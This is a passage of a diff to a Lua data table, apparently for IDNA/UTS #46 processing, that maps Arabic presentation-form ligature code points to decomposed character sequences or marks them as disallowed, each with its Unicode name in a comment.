+ [0xFC5F] = {status="disallowed"}, -- ARABIC LIGATURE SHADDA WITH KASRATAN ISOLATED FORM
+ [0xFC60] = {status="disallowed"}, -- ARABIC LIGATURE SHADDA WITH FATHA ISOLATED FORM
+ [0xFC61] = {status="disallowed"}, -- ARABIC LIGATURE SHADDA WITH DAMMA ISOLATED FORM
+ [0xFC62] = {status="disallowed"}, -- ARABIC LIGATURE SHADDA WITH KASRA ISOLATED FORM
+ [0xFC63] = {status="disallowed"}, -- ARABIC LIGATURE SHADDA WITH SUPERSCRIPT ALEF ISOLATED FORM
+ [0xFC64] = {0x0626, 0x0631}, -- ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH REH FINAL FORM
+ [0xFC65] = {0x0626, 0x0632}, -- ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH ZAIN FINAL FORM
+ [0xFC66] = {0x0626, 0x0645}, -- ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH MEEM FINAL FORM
+ [0xFC67] = {0x0626, 0x0646}, -- ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH NOON FINAL FORM
+ [0xFC68] = {0x0626, 0x0649}, -- ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH ALEF MAKSURA FINAL FORM
+ [0xFC69] = {0x0626, 0x064A}, -- ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH YEH FINAL FORM
+ [0xFC6A] = {0x0628, 0x0631}, -- ARABIC LIGATURE BEH WITH REH FINAL FORM
+ [0xFC6B] = {0x0628, 0x0632}, -- ARABIC LIGATURE BEH WITH ZAIN FINAL FORM
+ [0xFC6C] = {0x0628, 0x0645}, -- ARABIC LIGATURE BEH WITH MEEM FINAL FORM
+ [0xFC6D] = {0x0628, 0x0646}, -- ARABIC LIGATURE BEH WITH NOON FINAL FORM
+ [0xFC6E] = {0x0628, 0x0649}, -- ARABIC LIGATURE BEH WITH ALEF MAKSURA FINAL FORM
+ [0xFC6F] = {0x0628, 0x064A}, -- ARABIC LIGATURE BEH WITH YEH FINAL FORM
+ [0xFC70] = {0x062A, 0x0631}, -- ARABIC LIGATURE TEH WITH REH FINAL FORM
+ [0xFC71] = {0x062A, 0x0632}, -- ARABIC LIGATURE TEH WITH ZAIN FINAL FORM
+ [0xFC72] = {0x062A, 0x0645}, -- ARABIC LIGATURE TEH WITH MEEM FINAL FORM
+ [0xFC73] = {0x062A, 0x0646}, -- ARABIC LIGATURE TEH WITH NOON FINAL FORM
+ [0xFC74] = {0x062A, 0x0649}, -- ARABIC LIGATURE TEH WITH ALEF MAKSURA FINAL FORM
+ [0xFC75] = {0x062A, 0x064A}, -- ARABIC LIGATURE TEH WITH YEH FINAL FORM
+ [0xFC76] = {0x062B, 0x0631}, -- ARABIC LIGATURE THEH WITH REH FINAL FORM
+ [0xFC77] = {0x062B, 0x0632}, -- ARABIC LIGATURE THEH WITH ZAIN FINAL FORM
+ [0xFC78] = {0x062B, 0x0645}, -- ARABIC LIGATURE THEH WITH MEEM FINAL FORM
+ [0xFC79] = {0x062B, 0x0646}, -- ARABIC LIGATURE THEH WITH NOON FINAL FORM
+ [0xFC7A] = {0x062B, 0x0649}, -- ARABIC LIGATURE THEH WITH ALEF MAKSURA FINAL FORM
+ [0xFC7B] = {0x062B, 0x064A}, -- ARABIC LIGATURE THEH WITH YEH FINAL FORM
+ [0xFC7C] = {0x0641, 0x0649}, -- ARABIC LIGATURE FEH WITH ALEF MAKSURA FINAL FORM
+ [0xFC7D] = {0x0641, 0x064A}, -- ARABIC LIGATURE FEH WITH YEH FINAL FORM
+ [0xFC7E] = {0x0642, 0x0649}, -- ARABIC LIGATURE QAF WITH ALEF MAKSURA FINAL FORM
+ [0xFC7F] = {0x0642, 0x064A}, -- ARABIC LIGATURE QAF WITH YEH FINAL FORM
+ [0xFC80] = {0x0643, 0x0627}, -- ARABIC LIGATURE KAF WITH ALEF FINAL FORM
+ [0xFC81] = {0x0643, 0x0644}, -- ARABIC LIGATURE KAF WITH LAM FINAL FORM
+ [0xFC82] = {0x0643, 0x0645}, -- ARABIC LIGATURE KAF WITH MEEM FINAL FORM
+ [0xFC83] = {0x0643, 0x0649}, -- ARABIC LIGATURE KAF WITH ALEF MAKSURA FINAL FORM
+ [0xFC84] = {0x0643, 0x064A}, -- ARABIC LIGATURE KAF WITH YEH FINAL FORM
+ [0xFC85] = {0x0644, 0x0645}, -- ARABIC LIGATURE LAM WITH MEEM FINAL FORM
+ [0xFC86] = {0x0644, 0x0649}, -- ARABIC LIGATURE LAM WITH ALEF MAKSURA FINAL FORM
+ [0xFC87] = {0x0644, 0x064A}, -- ARABIC LIGATURE LAM WITH YEH FINAL FORM
+ [0xFC88] = {0x0645, 0x0627}, -- ARABIC LIGATURE MEEM WITH ALEF FINAL FORM
+ [0xFC89] = {0x0645, 0x0645}, -- ARABIC LIGATURE MEEM WITH MEEM FINAL FORM
+ [0xFC8A] = {0x0646, 0x0631}, -- ARABIC LIGATURE NOON WITH REH FINAL FORM
+ [0xFC8B] = {0x0646, 0x0632}, -- ARABIC LIGATURE NOON WITH ZAIN FINAL FORM
+ [0xFC8C] = {0x0646, 0x0645}, -- ARABIC LIGATURE NOON WITH MEEM FINAL FORM
+ [0xFC8D] = {0x0646, 0x0646}, -- ARABIC LIGATURE NOON WITH NOON FINAL FORM
+ [0xFC8E] = {0x0646, 0x0649}, -- ARABIC LIGATURE NOON WITH ALEF MAKSURA FINAL FORM
+ [0xFC8F] = {0x0646, 0x064A}, -- ARABIC LIGATURE NOON WITH YEH FINAL FORM
+ [0xFC90] = {0x0649, 0x0670}, -- ARABIC LIGATURE ALEF MAKSURA WITH SUPERSCRIPT ALEF FINAL FORM
+ [0xFC91] = {0x064A, 0x0631}, -- ARABIC LIGATURE YEH WITH REH FINAL FORM
+ [0xFC92] = {0x064A, 0x0632}, -- ARABIC LIGATURE YEH WITH ZAIN FINAL FORM
+ [0xFC93] = {0x064A, 0x0645}, -- ARABIC LIGATURE YEH WITH MEEM FINAL FORM
+ [0xFC94] = {0x064A, 0x0646}, -- ARABIC LIGATURE YEH WITH NOON FINAL FORM
+ [0xFC95] = {0x064A, 0x0649}, -- ARABIC LIGATURE YEH WITH ALEF MAKSURA FINAL FORM
+ [0xFC96] = {0x064A, 0x064A}, -- ARABIC LIGATURE YEH WITH YEH FINAL FORM
+ [0xFC97] = {0x0626, 0x062C}, -- ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH JEEM INITIAL FORM
+ [0xFC98] = {0x0626, 0x062D}, -- ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH HAH INITIAL FORM
+ [0xFC99] = {0x0626, 0x062E}, -- ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH KHAH INITIAL FORM
+ [0xFC9A] = {0x0626, 0x0645}, -- ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH MEEM INITIAL FORM
+ [0xFC9B] = {0x0626, 0x0647}, -- ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH HEH INITIAL FORM
+ [0xFC9C] = {0x0628, 0x062C}, -- ARABIC LIGATURE BEH WITH JEEM INITIAL FORM
+ [0xFC9D] = {0x0628, 0x062D}, -- ARABIC LIGATURE BEH WITH HAH INITIAL FORM
+ [0xFC9E] = {0x0628, 0x062E}, -- ARABIC LIGATURE BEH WITH KHAH INITIAL FORM
+ [0xFC9F] = {0x0628, 0x0645}, -- ARABIC LIGATURE BEH WITH MEEM INITIAL FORM
+ [0xFCA0] = {0x0628, 0x0647}, -- ARABIC LIGATURE BEH WITH HEH INITIAL FORM
+ [0xFCA1] = {0x062A, 0x062C}, -- ARABIC LIGATURE TEH WITH JEEM INITIAL FORM
+ [0xFCA2] = {0x062A, 0x062D}, -- ARABIC LIGATURE TEH WITH HAH INITIAL FORM
+ [0xFCA3] = {0x062A, 0x062E}, -- ARABIC LIGATURE TEH WITH KHAH INITIAL FORM
+ [0xFCA4] = {0x062A, 0x0645}, -- ARABIC LIGATURE TEH WITH MEEM INITIAL FORM
+ [0xFCA5] = {0x062A, 0x0647}, -- ARABIC LIGATURE TEH WITH HEH INITIAL FORM
+ [0xFCA6] = {0x062B, 0x0645}, -- ARABIC LIGATURE THEH WITH MEEM INITIAL FORM
+ [0xFCA7] = {0x062C, 0x062D}, -- ARABIC LIGATURE JEEM WITH HAH INITIAL FORM
+ [0xFCA8] = {0x062C, 0x0645}, -- ARABIC LIGATURE JEEM WITH MEEM INITIAL FORM
+ [0xFCA9] = {0x062D, 0x062C}, -- ARABIC LIGATURE HAH WITH JEEM INITIAL FORM
+ [0xFCAA] = {0x062D, 0x0645}, -- ARABIC LIGATURE HAH WITH MEEM INITIAL FORM
+ [0xFCAB] = {0x062E, 0x062C}, -- ARABIC LIGATURE KHAH WITH JEEM INITIAL FORM
+ [0xFCAC] = {0x062E, 0x0645}, -- ARABIC LIGATURE KHAH WITH MEEM INITIAL FORM
+ [0xFCAD] = {0x0633, 0x062C}, -- ARABIC LIGATURE SEEN WITH JEEM INITIAL FORM
+ [0xFCAE] = {0x0633, 0x062D}, -- ARABIC LIGATURE SEEN WITH HAH INITIAL FORM
+ [0xFCAF] = {0x0633, 0x062E}, -- ARABIC LIGATURE SEEN WITH KHAH INITIAL FORM
+ [0xFCB0] = {0x0633, 0x0645}, -- ARABIC LIGATURE SEEN WITH MEEM INITIAL FORM
+ [0xFCB1] = {0x0635, 0x062D}, -- ARABIC LIGATURE SAD WITH HAH INITIAL FORM
+ [0xFCB2] = {0x0635, 0x062E}, -- ARABIC LIGATURE SAD WITH KHAH INITIAL FORM
+ [0xFCB3] = {0x0635, 0x0645}, -- ARABIC LIGATURE SAD WITH MEEM INITIAL FORM
+ [0xFCB4] = {0x0636, 0x062C}, -- ARABIC LIGATURE DAD WITH JEEM INITIAL FORM
+ [0xFCB5] = {0x0636, 0x062D}, -- ARABIC LIGATURE DAD WITH HAH INITIAL FORM
+ [0xFCB6] = {0x0636, 0x062E}, -- ARABIC LIGATURE DAD WITH KHAH INITIAL FORM
+ [0xFCB7] = {0x0636, 0x0645}, -- ARABIC LIGATURE DAD WITH MEEM INITIAL FORM
+ [0xFCB8] = {0x0637, 0x062D}, -- ARABIC LIGATURE TAH WITH HAH INITIAL FORM
+ [0xFCB9] = {0x0638, 0x0645}, -- ARABIC LIGATURE ZAH WITH MEEM INITIAL FORM
+ [0xFCBA] = {0x0639, 0x062C}, -- ARABIC LIGATURE AIN WITH JEEM INITIAL FORM
+ [0xFCBB] = {0x0639, 0x0645}, -- ARABIC LIGATURE AIN WITH MEEM INITIAL FORM
+ [0xFCBC] = {0x063A, 0x062C}, -- ARABIC LIGATURE GHAIN WITH JEEM INITIAL FORM
+ [0xFCBD] = {0x063A, 0x0645}, -- ARABIC LIGATURE GHAIN WITH MEEM INITIAL FORM
+ [0xFCBE] = {0x0641, 0x062C}, -- ARABIC LIGATURE FEH WITH JEEM INITIAL FORM
+ [0xFCBF] = {0x0641, 0x062D}, -- ARABIC LIGATURE FEH WITH HAH INITIAL FORM
+ [0xFCC0] = {0x0641, 0x062E}, -- ARABIC LIGATURE FEH WITH KHAH INITIAL FORM
+ [0xFCC1] = {0x0641, 0x0645}, -- ARABIC LIGATURE FEH WITH MEEM INITIAL FORM
+ [0xFCC2] = {0x0642, 0x062D}, -- ARABIC LIGATURE QAF WITH HAH INITIAL FORM
+ [0xFCC3] = {0x0642, 0x0645}, -- ARABIC LIGATURE QAF WITH MEEM INITIAL FORM
+ [0xFCC4] = {0x0643, 0x062C}, -- ARABIC LIGATURE KAF WITH JEEM INITIAL FORM
+ [0xFCC5] = {0x0643, 0x062D}, -- ARABIC LIGATURE KAF WITH HAH INITIAL FORM
+ [0xFCC6] = {0x0643, 0x062E}, -- ARABIC LIGATURE KAF WITH KHAH INITIAL FORM
+ [0xFCC7] = {0x0643, 0x0644}, -- ARABIC LIGATURE KAF WITH LAM INITIAL FORM
+ [0xFCC8] = {0x0643, 0x0645}, -- ARABIC LIGATURE KAF WITH MEEM INITIAL FORM
+ [0xFCC9] = {0x0644, 0x062C}, -- ARABIC LIGATURE LAM WITH JEEM INITIAL FORM
+ [0xFCCA] = {0x0644, 0x062D}, -- ARABIC LIGATURE LAM WITH HAH INITIAL FORM
+ [0xFCCB] = {0x0644, 0x062E}, -- ARABIC LIGATURE LAM WITH KHAH INITIAL FORM
+ [0xFCCC] = {0x0644, 0x0645}, -- ARABIC LIGATURE LAM WITH MEEM INITIAL FORM
+ [0xFCCD] = {0x0644, 0x0647}, -- ARABIC LIGATURE LAM WITH HEH INITIAL FORM
+ [0xFCCE] = {0x0645, 0x062C}, -- ARABIC LIGATURE MEEM WITH JEEM INITIAL FORM
+ [0xFCCF] = {0x0645, 0x062D}, -- ARABIC LIGATURE MEEM WITH HAH INITIAL FORM
+ [0xFCD0] = {0x0645, 0x062E}, -- ARABIC LIGATURE MEEM WITH KHAH INITIAL FORM
+ [0xFCD1] = {0x0645, 0x0645}, -- ARABIC LIGATURE MEEM WITH MEEM INITIAL FORM
+ [0xFCD2] = {0x0646, 0x062C}, -- ARABIC LIGATURE NOON WITH JEEM INITIAL FORM
+ [0xFCD3] = {0x0646, 0x062D}, -- ARABIC LIGATURE NOON WITH HAH INITIAL FORM
+ [0xFCD4] = {0x0646, 0x062E}, -- ARABIC LIGATURE NOON WITH KHAH INITIAL FORM
+ [0xFCD5] = {0x0646, 0x0645}, -- ARABIC LIGATURE NOON WITH MEEM INITIAL FORM
+ [0xFCD6] = {0x0646, 0x0647}, -- ARABIC LIGATURE NOON WITH HEH INITIAL FORM
+ [0xFCD7] = {0x0647, 0x062C}, -- ARABIC LIGATURE HEH WITH JEEM INITIAL FORM
+ [0xFCD8] = {0x0647, 0x0645}, -- ARABIC LIGATURE HEH WITH MEEM INITIAL FORM
+ [0xFCD9] = {0x0647, 0x0670}, -- ARABIC LIGATURE HEH WITH SUPERSCRIPT ALEF INITIAL FORM
+ [0xFCDA] = {0x064A, 0x062C}, -- ARABIC LIGATURE YEH WITH JEEM INITIAL FORM
+ [0xFCDB] = {0x064A, 0x062D}, -- ARABIC LIGATURE YEH WITH HAH INITIAL FORM
+ [0xFCDC] = {0x064A, 0x062E}, -- ARABIC LIGATURE YEH WITH KHAH INITIAL FORM
+ [0xFCDD] = {0x064A, 0x0645}, -- ARABIC LIGATURE YEH WITH MEEM INITIAL FORM
+ [0xFCDE] = {0x064A, 0x0647}, -- ARABIC LIGATURE YEH WITH HEH INITIAL FORM
+ [0xFCDF] = {0x0626, 0x0645}, -- ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH MEEM MEDIAL FORM
+ [0xFCE0] = {0x0626, 0x0647}, -- ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH HEH MEDIAL FORM
+ [0xFCE1] = {0x0628, 0x0645}, -- ARABIC LIGATURE BEH WITH MEEM MEDIAL FORM
+ [0xFCE2] = {0x0628, 0x0647}, -- ARABIC LIGATURE BEH WITH HEH MEDIAL FORM
+ [0xFCE3] = {0x062A, 0x0645}, -- ARABIC LIGATURE TEH WITH MEEM MEDIAL FORM
+ [0xFCE4] = {0x062A, 0x0647}, -- ARABIC LIGATURE TEH WITH HEH MEDIAL FORM
+ [0xFCE5] = {0x062B, 0x0645}, -- ARABIC LIGATURE THEH WITH MEEM MEDIAL FORM
+ [0xFCE6] = {0x062B, 0x0647}, -- ARABIC LIGATURE THEH WITH HEH MEDIAL FORM
+ [0xFCE7] = {0x0633, 0x0645}, -- ARABIC LIGATURE SEEN WITH MEEM MEDIAL FORM
+ [0xFCE8] = {0x0633, 0x0647}, -- ARABIC LIGATURE SEEN WITH HEH MEDIAL FORM
+ [0xFCE9] = {0x0634, 0x0645}, -- ARABIC LIGATURE SHEEN WITH MEEM MEDIAL FORM
+ [0xFCEA] = {0x0634, 0x0647}, -- ARABIC LIGATURE SHEEN WITH HEH MEDIAL FORM
+ [0xFCEB] = {0x0643, 0x0644}, -- ARABIC LIGATURE KAF WITH LAM MEDIAL FORM
+ [0xFCEC] = {0x0643, 0x0645}, -- ARABIC LIGATURE KAF WITH MEEM MEDIAL FORM
+ [0xFCED] = {0x0644, 0x0645}, -- ARABIC LIGATURE LAM WITH MEEM MEDIAL FORM
+ [0xFCEE] = {0x0646, 0x0645}, -- ARABIC LIGATURE NOON WITH MEEM MEDIAL FORM
+ [0xFCEF] = {0x0646, 0x0647}, -- ARABIC LIGATURE NOON WITH HEH MEDIAL FORM
+ [0xFCF0] = {0x064A, 0x0645}, -- ARABIC LIGATURE YEH WITH MEEM MEDIAL FORM
+ [0xFCF1] = {0x064A, 0x0647}, -- ARABIC LIGATURE YEH WITH HEH MEDIAL FORM
+ [0xFCF2] = {0x0640, 0x064E, 0x0651}, -- ARABIC LIGATURE SHADDA WITH FATHA MEDIAL FORM
+ [0xFCF3] = {0x0640, 0x064F, 0x0651}, -- ARABIC LIGATURE SHADDA WITH DAMMA MEDIAL FORM
+ [0xFCF4] = {0x0640, 0x0650, 0x0651}, -- ARABIC LIGATURE SHADDA WITH KASRA MEDIAL FORM
+ [0xFCF5] = {0x0637, 0x0649}, -- ARABIC LIGATURE TAH WITH ALEF MAKSURA ISOLATED FORM
+ [0xFCF6] = {0x0637, 0x064A}, -- ARABIC LIGATURE TAH WITH YEH ISOLATED FORM
+ [0xFCF7] = {0x0639, 0x0649}, -- ARABIC LIGATURE AIN WITH ALEF MAKSURA ISOLATED FORM
+ [0xFCF8] = {0x0639, 0x064A}, -- ARABIC LIGATURE AIN WITH YEH ISOLATED FORM
+ [0xFCF9] = {0x063A, 0x0649}, -- ARABIC LIGATURE GHAIN WITH ALEF MAKSURA ISOLATED FORM
+ [0xFCFA] = {0x063A, 0x064A}, -- ARABIC LIGATURE GHAIN WITH YEH ISOLATED FORM
+ [0xFCFB] = {0x0633, 0x0649}, -- ARABIC LIGATURE SEEN WITH ALEF MAKSURA ISOLATED FORM
+ [0xFCFC] = {0x0633, 0x064A}, -- ARABIC LIGATURE SEEN WITH YEH ISOLATED FORM
+ [0xFCFD] = {0x0634, 0x0649}, -- ARABIC LIGATURE SHEEN WITH ALEF MAKSURA ISOLATED FORM
+ [0xFCFE] = {0x0634, 0x064A}, -- ARABIC LIGATURE SHEEN WITH YEH ISOLATED FORM
+ [0xFCFF] = {0x062D, 0x0649}, -- ARABIC LIGATURE HAH WITH ALEF MAKSURA ISOLATED FORM
+ [0xFD00] = {0x062D, 0x064A}, -- ARABIC LIGATURE HAH WITH YEH ISOLATED FORM
+ [0xFD01] = {0x062C, 0x0649}, -- ARABIC LIGATURE JEEM WITH ALEF MAKSURA ISOLATED FORM
+ [0xFD02] = {0x062C, 0x064A}, -- ARABIC LIGATURE JEEM WITH YEH ISOLATED FORM
+ [0xFD03] = {0x062E, 0x0649}, -- ARABIC LIGATURE KHAH WITH ALEF MAKSURA ISOLATED FORM
+ [0xFD04] = {0x062E, 0x064A}, -- ARABIC LIGATURE KHAH WITH YEH ISOLATED FORM
+ [0xFD05] = {0x0635, 0x0649}, -- ARABIC LIGATURE SAD WITH ALEF MAKSURA ISOLATED FORM
+ [0xFD06] = {0x0635, 0x064A}, -- ARABIC LIGATURE SAD WITH YEH ISOLATED FORM
+ [0xFD07] = {0x0636, 0x0649}, -- ARABIC LIGATURE DAD WITH ALEF MAKSURA ISOLATED FORM
+ [0xFD08] = {0x0636, 0x064A}, -- ARABIC LIGATURE DAD WITH YEH ISOLATED FORM
+ [0xFD09] = {0x0634, 0x062C}, -- ARABIC LIGATURE SHEEN WITH JEEM ISOLATED FORM
+ [0xFD0A] = {0x0634, 0x062D}, -- ARABIC LIGATURE SHEEN WITH HAH ISOLATED FORM
+ [0xFD0B] = {0x0634, 0x062E}, -- ARABIC LIGATURE SHEEN WITH KHAH ISOLATED FORM
+ [0xFD0C] = {0x0634, 0x0645}, -- ARABIC LIGATURE SHEEN WITH MEEM ISOLATED FORM
+ [0xFD0D] = {0x0634, 0x0631}, -- ARABIC LIGATURE SHEEN WITH REH ISOLATED FORM
+ [0xFD0E] = {0x0633, 0x0631}, -- ARABIC LIGATURE SEEN WITH REH ISOLATED FORM
+ [0xFD0F] = {0x0635, 0x0631}, -- ARABIC LIGATURE SAD WITH REH ISOLATED FORM
+ [0xFD10] = {0x0636, 0x0631}, -- ARABIC LIGATURE DAD WITH REH ISOLATED FORM
+ [0xFD11] = {0x0637, 0x0649}, -- ARABIC LIGATURE TAH WITH ALEF MAKSURA FINAL FORM
+ [0xFD12] = {0x0637, 0x064A}, -- ARABIC LIGATURE TAH WITH YEH FINAL FORM
+ [0xFD13] = {0x0639, 0x0649}, -- ARABIC LIGATURE AIN WITH ALEF MAKSURA FINAL FORM
+ [0xFD14] = {0x0639, 0x064A}, -- ARABIC LIGATURE AIN WITH YEH FINAL FORM
+ [0xFD15] = {0x063A, 0x0649}, -- ARABIC LIGATURE GHAIN WITH ALEF MAKSURA FINAL FORM
+ [0xFD16] = {0x063A, 0x064A}, -- ARABIC LIGATURE GHAIN WITH YEH FINAL FORM
+ [0xFD17] = {0x0633, 0x0649}, -- ARABIC LIGATURE SEEN WITH ALEF MAKSURA FINAL FORM
+ [0xFD18] = {0x0633, 0x064A}, -- ARABIC LIGATURE SEEN WITH YEH FINAL FORM
+ [0xFD19] = {0x0634, 0x0649}, -- ARABIC LIGATURE SHEEN WITH ALEF MAKSURA FINAL FORM
+ [0xFD1A] = {0x0634, 0x064A}, -- ARABIC LIGATURE SHEEN WITH YEH FINAL FORM
+ [0xFD1B] = {0x062D, 0x0649}, -- ARABIC LIGATURE HAH WITH ALEF MAKSURA FINAL FORM
+ [0xFD1C] = {0x062D, 0x064A}, -- ARABIC LIGATURE HAH WITH YEH FINAL FORM
+ [0xFD1D] = {0x062C, 0x0649}, -- ARABIC LIGATURE JEEM WITH ALEF MAKSURA FINAL FORM
+ [0xFD1E] = {0x062C, 0x064A}, -- ARABIC LIGATURE JEEM WITH YEH FINAL FORM
+ [0xFD1F] = {0x062E, 0x0649}, -- ARABIC LIGATURE KHAH WITH ALEF MAKSURA FINAL FORM
+ [0xFD20] = {0x062E, 0x064A}, -- ARABIC LIGATURE KHAH WITH YEH FINAL FORM
+ [0xFD21] = {0x0635, 0x0649}, -- ARABIC LIGATURE SAD WITH ALEF MAKSURA FINAL FORM
+ [0xFD22] = {0x0635, 0x064A}, -- ARABIC LIGATURE SAD WITH YEH FINAL FORM
+ [0xFD23] = {0x0636, 0x0649}, -- ARABIC LIGATURE DAD WITH ALEF MAKSURA FINAL FORM
+ [0xFD24] = {0x0636, 0x064A}, -- ARABIC LIGATURE DAD WITH YEH FINAL FORM
+ [0xFD25] = {0x0634, 0x062C}, -- ARABIC LIGATURE SHEEN WITH JEEM FINAL FORM
+ [0xFD26] = {0x0634, 0x062D}, -- ARABIC LIGATURE SHEEN WITH HAH FINAL FORM
+ [0xFD27] = {0x0634, 0x062E}, -- ARABIC LIGATURE SHEEN WITH KHAH FINAL FORM
+ [0xFD28] = {0x0634, 0x0645}, -- ARABIC LIGATURE SHEEN WITH MEEM FINAL FORM
+ [0xFD29] = {0x0634, 0x0631}, -- ARABIC LIGATURE SHEEN WITH REH FINAL FORM
+ [0xFD2A] = {0x0633, 0x0631}, -- ARABIC LIGATURE SEEN WITH REH FINAL FORM
+ [0xFD2B] = {0x0635, 0x0631}, -- ARABIC LIGATURE SAD WITH REH FINAL FORM
+ [0xFD2C] = {0x0636, 0x0631}, -- ARABIC LIGATURE DAD WITH REH FINAL FORM
+ [0xFD2D] = {0x0634, 0x062C}, -- ARABIC LIGATURE SHEEN WITH JEEM INITIAL FORM
+ [0xFD2E] = {0x0634, 0x062D}, -- ARABIC LIGATURE SHEEN WITH HAH INITIAL FORM
+ [0xFD2F] = {0x0634, 0x062E}, -- ARABIC LIGATURE SHEEN WITH KHAH INITIAL FORM
+ [0xFD30] = {0x0634, 0x0645}, -- ARABIC LIGATURE SHEEN WITH MEEM INITIAL FORM
+ [0xFD31] = {0x0633, 0x0647}, -- ARABIC LIGATURE SEEN WITH HEH INITIAL FORM
+ [0xFD32] = {0x0634, 0x0647}, -- ARABIC LIGATURE SHEEN WITH HEH INITIAL FORM
+ [0xFD33] = {0x0637, 0x0645}, -- ARABIC LIGATURE TAH WITH MEEM INITIAL FORM
+ [0xFD34] = {0x0633, 0x062C}, -- ARABIC LIGATURE SEEN WITH JEEM MEDIAL FORM
+ [0xFD35] = {0x0633, 0x062D}, -- ARABIC LIGATURE SEEN WITH HAH MEDIAL FORM
+ [0xFD36] = {0x0633, 0x062E}, -- ARABIC LIGATURE SEEN WITH KHAH MEDIAL FORM
+ [0xFD37] = {0x0634, 0x062C}, -- ARABIC LIGATURE SHEEN WITH JEEM MEDIAL FORM
+ [0xFD38] = {0x0634, 0x062D}, -- ARABIC LIGATURE SHEEN WITH HAH MEDIAL FORM
+ [0xFD39] = {0x0634, 0x062E}, -- ARABIC LIGATURE SHEEN WITH KHAH MEDIAL FORM
+ [0xFD3A] = {0x0637, 0x0645}, -- ARABIC LIGATURE TAH WITH MEEM MEDIAL FORM
+ [0xFD3B] = {0x0638, 0x0645}, -- ARABIC LIGATURE ZAH WITH MEEM MEDIAL FORM
+ -- ARABIC LETTER FARSI YEH ISOLATED FORM..ARABIC LETTER FARSI YEH MEDIAL FORM
+ [0xFBFC] = 0x06CC,
+ [0xFBFD] = 0x06CC,
+ [0xFBFE] = 0x06CC,
+ [0xFBFF] = 0x06CC,
+ -- ARABIC LIGATURE ALEF WITH FATHATAN FINAL FORM..ARABIC LIGATURE ALEF WITH FATHATAN ISOLATED FORM
+ [0xFD3C] = {0x0627, 0x064B},
+ [0xFD3D] = {0x0627, 0x064B},
+ -- ORNATE LEFT PARENTHESIS..ORNATE RIGHT PARENTHESIS
+ [0xFD3E] = {status="disallowed"},
+ [0xFD3F] = {status="disallowed"},
+ [0xFD50] = {0x062A, 0x062C, 0x0645}, -- ARABIC LIGATURE TEH WITH JEEM WITH MEEM INITIAL FORM
+ [0xFD53] = {0x062A, 0x062D, 0x0645}, -- ARABIC LIGATURE TEH WITH HAH WITH MEEM INITIAL FORM
+ [0xFD54] = {0x062A, 0x062E, 0x0645}, -- ARABIC LIGATURE TEH WITH KHAH WITH MEEM INITIAL FORM
+ [0xFD55] = {0x062A, 0x0645, 0x062C}, -- ARABIC LIGATURE TEH WITH MEEM WITH JEEM INITIAL FORM
+ [0xFD56] = {0x062A, 0x0645, 0x062D}, -- ARABIC LIGATURE TEH WITH MEEM WITH HAH INITIAL FORM
+ [0xFD57] = {0x062A, 0x0645, 0x062E}, -- ARABIC LIGATURE TEH WITH MEEM WITH KHAH INITIAL FORM
+ -- ARABIC LIGATURE TEH WITH HAH WITH JEEM FINAL FORM..ARABIC LIGATURE TEH WITH HAH WITH JEEM INITIAL FORM
+ [0xFD51] = {0x062A, 0x062D, 0x062C},
+ [0xFD52] = {0x062A, 0x062D, 0x062C},
+ [0xFD5A] = {0x062D, 0x0645, 0x064A}, -- ARABIC LIGATURE HAH WITH MEEM WITH YEH FINAL FORM
+ [0xFD5B] = {0x062D, 0x0645, 0x0649}, -- ARABIC LIGATURE HAH WITH MEEM WITH ALEF MAKSURA FINAL FORM
+ [0xFD5C] = {0x0633, 0x062D, 0x062C}, -- ARABIC LIGATURE SEEN WITH HAH WITH JEEM INITIAL FORM
+ [0xFD5D] = {0x0633, 0x062C, 0x062D}, -- ARABIC LIGATURE SEEN WITH JEEM WITH HAH INITIAL FORM
+ [0xFD5E] = {0x0633, 0x062C, 0x0649}, -- ARABIC LIGATURE SEEN WITH JEEM WITH ALEF MAKSURA FINAL FORM
+ -- ARABIC LIGATURE JEEM WITH MEEM WITH HAH FINAL FORM..ARABIC LIGATURE JEEM WITH MEEM WITH HAH INITIAL FORM
+ [0xFD58] = {0x062C, 0x0645, 0x062D},
+ [0xFD59] = {0x062C, 0x0645, 0x062D},
+ [0xFD61] = {0x0633, 0x0645, 0x062C}, -- ARABIC LIGATURE SEEN WITH MEEM WITH JEEM INITIAL FORM
+ -- ARABIC LIGATURE SEEN WITH MEEM WITH HAH FINAL FORM..ARABIC LIGATURE SEEN WITH MEEM WITH HAH INITIAL FORM
+ [0xFD5F] = {0x0633, 0x0645, 0x062D},
+ [0xFD60] = {0x0633, 0x0645, 0x062D},
+ -- ARABIC LIGATURE SEEN WITH MEEM WITH MEEM FINAL FORM..ARABIC LIGATURE SEEN WITH MEEM WITH MEEM INITIAL FORM
+ [0xFD62] = {0x0633, 0x0645, 0x0645},
+ [0xFD63] = {0x0633, 0x0645, 0x0645},
+ [0xFD66] = {0x0635, 0x0645, 0x0645}, -- ARABIC LIGATURE SAD WITH MEEM WITH MEEM FINAL FORM
+ -- ARABIC LIGATURE SAD WITH HAH WITH HAH FINAL FORM..ARABIC LIGATURE SAD WITH HAH WITH HAH INITIAL FORM
+ [0xFD64] = {0x0635, 0x062D, 0x062D},
+ [0xFD65] = {0x0635, 0x062D, 0x062D},
+ [0xFD69] = {0x0634, 0x062C, 0x064A}, -- ARABIC LIGATURE SHEEN WITH JEEM WITH YEH FINAL FORM
+ -- ARABIC LIGATURE SHEEN WITH HAH WITH MEEM FINAL FORM..ARABIC LIGATURE SHEEN WITH HAH WITH MEEM INITIAL FORM
+ [0xFD67] = {0x0634, 0x062D, 0x0645},
+ [0xFD68] = {0x0634, 0x062D, 0x0645},
+ -- ARABIC LIGATURE SHEEN WITH MEEM WITH KHAH FINAL FORM..ARABIC LIGATURE SHEEN WITH MEEM WITH KHAH INITIAL FORM
+ [0xFD6A] = {0x0634, 0x0645, 0x062E},
+ [0xFD6B] = {0x0634, 0x0645, 0x062E},
